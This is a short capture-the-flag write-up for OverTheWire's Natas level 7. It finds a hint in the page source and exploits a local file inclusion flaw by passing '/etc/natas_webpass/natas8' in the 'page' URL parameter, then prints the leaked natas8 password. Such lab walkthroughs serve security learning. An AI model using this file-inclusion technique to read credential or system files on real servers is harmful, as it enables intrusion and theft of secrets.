

Natas Level 6 - Level 7

On logging in, we have two links Home and About. The links simply change the text on the screen.

If we view the source code.

```
<body>
<h1>natas7</h1>
<div id="content">

<a href="[index.php?page=home](view-
source:http://natas7.natas.labs.overthewire.org/index.php?
page=home)">Home</a>
<a href="[index.php?page=about](view-
source:http://natas7.natas.labs.overthewire.org/index.php?
page=about)">About</a>
<br>
<br>
this is the about page

<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
</div>
</body>
</html>
```

The hint line gives a directory, lets try and add that to the url.

```
http://natas7.natas.labs.overthewire.org/index.php?
page=/etc/natas_webpass/natas8
```

We are presented with the password!

```
xcoXLmzMkoIP9D7hlgPlh9XD70gLAe5Q
```
